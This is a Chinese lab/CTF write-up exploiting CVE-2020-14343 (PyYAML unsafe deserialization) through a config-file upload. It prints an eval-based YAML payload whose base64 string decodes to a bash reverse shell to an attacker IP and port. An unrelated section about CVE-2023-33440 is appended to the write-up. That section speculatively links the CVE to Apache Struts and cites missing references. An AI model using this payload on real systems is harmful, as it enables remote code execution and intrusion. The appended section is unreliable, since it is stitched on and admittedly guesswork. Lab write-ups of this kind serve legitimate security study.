【春秋云境】CVE-2020-14343 PyYAML中存在不安全的反序列化漏洞

PyYAML中存在不安全的反序列化漏洞。攻击者可利用该漏洞执行任意代码。

开启靶场

在这里插入图片描述

代码分析

反序列化位置

发现告诉你源代码位置了,下载源代码分析。

yaml.load() #将一个yaml文档反序列化为一个Python对象。

在这里插入图片描述

源代码修改过,但不影响实验。
可以看到在登录后,他会检测本地配置文件,然后进行反序列化。

配置文件上传位置

访问upload路径可以将文件保存到配置文件路径
在这里插入图片描述
代码判断为如果登录的IP和配置文件的IP一样则登录成功:
在这里插入图片描述
在本地测试,上传一下文件,hosts为本地测试地址(192.168.1.85),使用Admin用户名登录。(密码无判断)上传文件。
在这里插入图片描述

证明是可以通过文件上传修改配置文件的。
在这里插入图片描述
需要注意的是,使用网站上传时,他会自己再次访问默认路径
在这里插入图片描述
并且默认路径会自动重新修改配置文件。
在这里插入图片描述

漏洞验证

https://github.com/raul23/pyyaml-CVE-2020-14343
可以看到提供了3个POC。

!!python/object/new:tuple #YAML可以表示各种对象,包括Python对象。这里,它尝试序列化一个Python的tuple,其中包含一个map。
!!python/object/new:map  #这是YAML中用于指示创建一个新的Python对象的标签。
!!python/name:eval #这是指向Python的eval函数的引用。eval函数可以执行传入的字符串作为Python代码。
[ print('RCE EXPLOIT!') ] #这是一个Python代码字符串

执行成功
在这里插入图片描述
配置返连shell命令,构建新的payload
在这里插入图片描述

import('os').system(' ')  # python 执行系统函数


#上传问文件内容
 !!python/object/new:tuple [!!python/object/new:map [!!python/name:eval , [ "__import__('os').system('echo c2ggLWkgPiYgL2Rldi90Y3AvSVAvUE9SVCAwPiYx|base64 -d|bash')" ]]]

返连成功
在这里插入图片描述

获取flag

在这里插入图片描述

踩坑

1、本地复现时候,他提示参数有误。
yaml.load()报错 TypeError: load() missing 1 required positional argument: ‘Loader’ 解决方案
在这里插入图片描述

2、一开始使用pthon上线没有成功
在这里插入图片描述

参考文档

https://blog.csdn.net/chengdong996/article/details/123962061
https://github.com/raul23/pyyaml-CVE-2020-14343

### 关于春秋 CVE-2023-33440 漏洞详情 对于CVE-2023-33440,在当前提供的参考资料中并未直接提及此特定编号的漏洞细节。然而,基于以往处理类似安全事件的经验以及Apache Struts项目的安全公告模式[^1],可以推测这类CVE通常涉及Web应用程序框架中存在的某种形式的安全缺陷。 针对未具体说明的CVE编号,建议采取以下通用措施来应对潜在风险: #### 一、漏洞影响范围 此类漏洞可能会影响使用了受影响版本组件的应用程序,特别是那些依赖于特定功能实现的部分。例如,在之前的案例中提到的同类型的Struts2漏洞均涉及到同场景下的远程代码执行可能性或文件操作当等问题[^2][^3][^4]。 #### 二、修复方案概述 为了有效缓解并最终解决由CVE-2023-33440引起的风险,应当遵循官方发布的最新指南进行更新或打补丁。一般情况下,这包括但限于以下几个方面: - **及时升级软件**:确保所使用的Apache Struts库是最新的稳定版。 - **审查现有配置**:检查应用服务器上的所有设置是否符合最佳实践标准,尤其是与安全性有关的部分。 - **强化输入验证机制**:加强对用户提交数据的有效性和合法性校验,防止恶意构造的数据触发漏洞- **监控异常行为**:部署日志审计工具和服务端防护产品,以便快速发现任何可疑活动。 由于缺乏具体的漏洞描述和技术分析文档作为依据,上述内容仅能作为一个大致方向指导。强烈推荐查阅来自权威渠道的第一手资料获取最准确的信息。 ```bash # 假设存在一个命令用于查询最新的安全通告 curl https://struts.apache.org/security.html | grep "CVE-2023-33440" ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值